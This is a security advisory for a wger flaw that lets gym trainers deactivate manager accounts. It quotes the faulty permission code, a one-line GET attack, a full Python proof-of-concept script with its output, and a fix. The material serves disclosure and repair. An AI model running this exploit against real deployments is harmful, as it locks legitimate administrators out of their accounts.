CVE-2026-46434: wger: Trainer Privilege Escalation - Improper Privilege Management
### Summary A user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding **any one** of `gym.manage_gym`, `gym.manage_gyms`, or `gym.gym_trainer` (OR logic via `WgerMultiplePermissionRequiredMixin`), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one. ### Details `UserDeactivateView` (file: `wger/core/views/user.py`, line 378) is configured with: ```python permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer') ``` `WgerMultiplePermissionRequiredMixin` (file: `wger/utils/generic_views.py`, line 48) treats this tuple as an OR check -- any single permission is sufficient: ```python class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin): def has_permission(self): for permission in self.get_permission_required(): if self.request.user.has_perm(permission): return True # <-- ANY one permission is enough return False ``` The `dispatch()` method only verifies same-gym membership: ```python def dispatch(self, request, *args, **kwargs): edit_user = get_object_or_404(User, pk=self.kwargs['pk']) if ( request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: return HttpResponseForbidden() # NO check: is the target user more privileged than the requester? return super().dispatch(request, *args, **kwargs) ``` There is **no check** preventing a trainer from targeting a manager. The same vulnerability exists in `UserActivateView` (line 415). An additional contributing factor: `get_permission_list()` in `wger/gym/helpers.py` (line 102) **always** includes `'trainer'` in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them. ### PoC #### Prerequisites - A gym with at least two users: one with `gym_manager` role (victim) and one with `gym_trainer` role (attacker) - Both users belong to the same gym #### Attack Steps ``` # As the trainer, simply visit: GET /en/user/<manager_user_id>/deactivate ``` The manager's account is immediately set to `is_active = False`. The manager can no longer log in. #### Proof of Concept Script ```python #!/usr/bin/env python3 """ PoC: Trainer -> Manager Privilege Escalation (Account Deactivation) Target: wger Workout Manager Severity: HIGH - CVSS 6.5 CWE-269: Improper Privilege Management Usage: python3 poc.py http://localhost:8000 """ import requests import sys import re if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <BASE_URL>") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1) BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2" MANAGER_USER = "gym_manager_poc" MANAGER_PASS = "Manager!Poc!2025" TRAINER_USER = "evil_trainer_poc" TRAINER_PASS = "Trainer!Poc!2025" BANNER = """ ===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management ===================================================================== """ print(BANNER) # ---- Helper ---- def api_login(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.status_code == 200: return r.json().get("token") return None def api_headers(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"} # ---- Setup via Django ORM (must run inside container) ---- import os, django os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main' sys.path.insert(0, '/home/wger/src') django.setup() from django.contrib.auth.models import User, Group from wger.gym.models import Gym # Ensure permission groups exist for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']: Group.objects.get_or_create(name=name) # Create gym gym, _ = Gym.objects.get_or_create(name="PoC Test Gym") print(f"[*] Gym: {gym.name} (id={gym.id})") # Create manager (the VICTIM) manager, created = User.objects.get_or_create( username=MANAGER_USER, defaults={"is_active": True} ) if created: manager.set_password(MANAGER_PASS) manager.save() manager.userprofile.gym = gym manager.userprofile.save() manager.groups.clear() manager.groups.add(Group.objects.get(name='gym_manager')) manager.is_active = True manager.save() print(f"[*] Manager (victim): {manager.username} (id={manager.id})") print(f" Groups: {[g.name for g in manager.groups.all()]}") print(f" is_active: {manager.is_active}") # Create trainer (the ATTACKER) trainer, created = User.objects.get_or_create( username=TRAINER_USER, defaults={"is_active": True} ) if created: trainer.set_password(TRAINER_PASS) trainer.save() trainer.userprofile.gym = gym trainer.userprofile.save() trainer.groups.clear() trainer.groups.add(Group.objects.get(name='gym_trainer')) print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})") print(f" Groups: {[g.name for g in trainer.groups.all()]}") # ---- 1. Verify manager is active BEFORE attack ---- manager.refresh_from_db() print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}") assert manager.is_active, "Manager should be active before test" # ---- 2. ATTACK: Trainer deactivates manager ---- print(f"\n{'='*65}") print(f" ATTACK: Trainer deactivating gym manager account") print(f"{'='*65}") from django.test import Client c = Client() c.force_login(trainer) resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True) print(f"\n GET /en/user/{manager.id}/deactivate") print(f" (Logged in as: {TRAINER_USER} - gym_trainer only)") print(f" Response: HTTP {resp.status_code}") # ---- 3. VERIFY ---- print(f"\n{'='*65}") print(f" VERIFICATION") print(f"{'='*65}") manager.refresh_from_db() print(f"\n Manager is_active AFTER attack: {manager.is_active}") if not manager.is_active: print(""" +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | A gym_trainer successfully deactivated a gym_manager! | | No privilege hierarchy check prevents this. | | The trainer can now lock out all managers from the gym. | +----------------------------------------------------------+ """) manager.is_active = True manager.save() print(" [+] Cleanup: Manager re-activated") else: print("\n Manager is still active - NOT vulnerable") ``` #### Proof of Concept Output ``` ===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management ===================================================================== [*] Gym: PoC Test Gym (id=2) [*] Manager (victim): gym_manager_poc (id=4) Groups: ['gym_manager'] is_active: True [*] Trainer (attacker): evil_trainer_poc (id=5) Groups: ['gym_trainer'] [*] Manager is_active BEFORE attack: True ================================================================= ATTACK: Trainer deactivating gym manager account ================================================================= Trainer login: HTTP 200 GET http://localhost/en/user/4/deactivate (Logged in as: evil_trainer_poc - gym_trainer only) Response: HTTP 200 ================================================================= VERIFICATION ================================================================= Manager is_active AFTER attack: False +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | A gym_trainer successfully deactivated a gym_manager! | | No privilege hierarchy check prevents this. | | The trainer can now lock out all managers from the gym. | +----------------------------------------------------------+ [+] Cleanup: Manager re-activated ``` ### Impact 1. **Gym Management Lockout:** A trainer can deactivate every manager account in their gym, effectively seizing control of the gym's administrative functions. 2. **Denial of Service:** Deactivated managers cannot log in, manage members, or perform any administrative tasks until a `general_gym_manager` (superadmin) or a Django superuser manually re-activates their accounts. 3. **Abuse Chain:** Since `get_permission_list()` always includes `'trainer'` in assignable roles, any manager can unknowingly create the account that will later lock them out. ### Fix Add a privilege hierarchy check in `UserDeactivateView.dispatch()` and `UserActivateView.dispatch()`: ```python # File: wger/core/views/user.py, inside dispatch() of both views edit_user = get_object_or_404(User, pk=self.kwargs['pk']) # Trainers must not deactivate/activate managers or other trainers if request.user.has_perm('gym.gym_trainer') and not ( request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.manage_gyms') ): if ( edit_user.has_perm('gym.manage_gym') or edit_user.has_perm('gym.manage_gyms') or edit_user.has_perm('gym.gym_trainer') ): return HttpResponseForbidden() ```
Recommended action
Recommended action
Review the advisory for a vendor workaround or patched release and restrict exposure until one is available.
Technical details
- Vendor
- Not specified
- Product
- wger
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source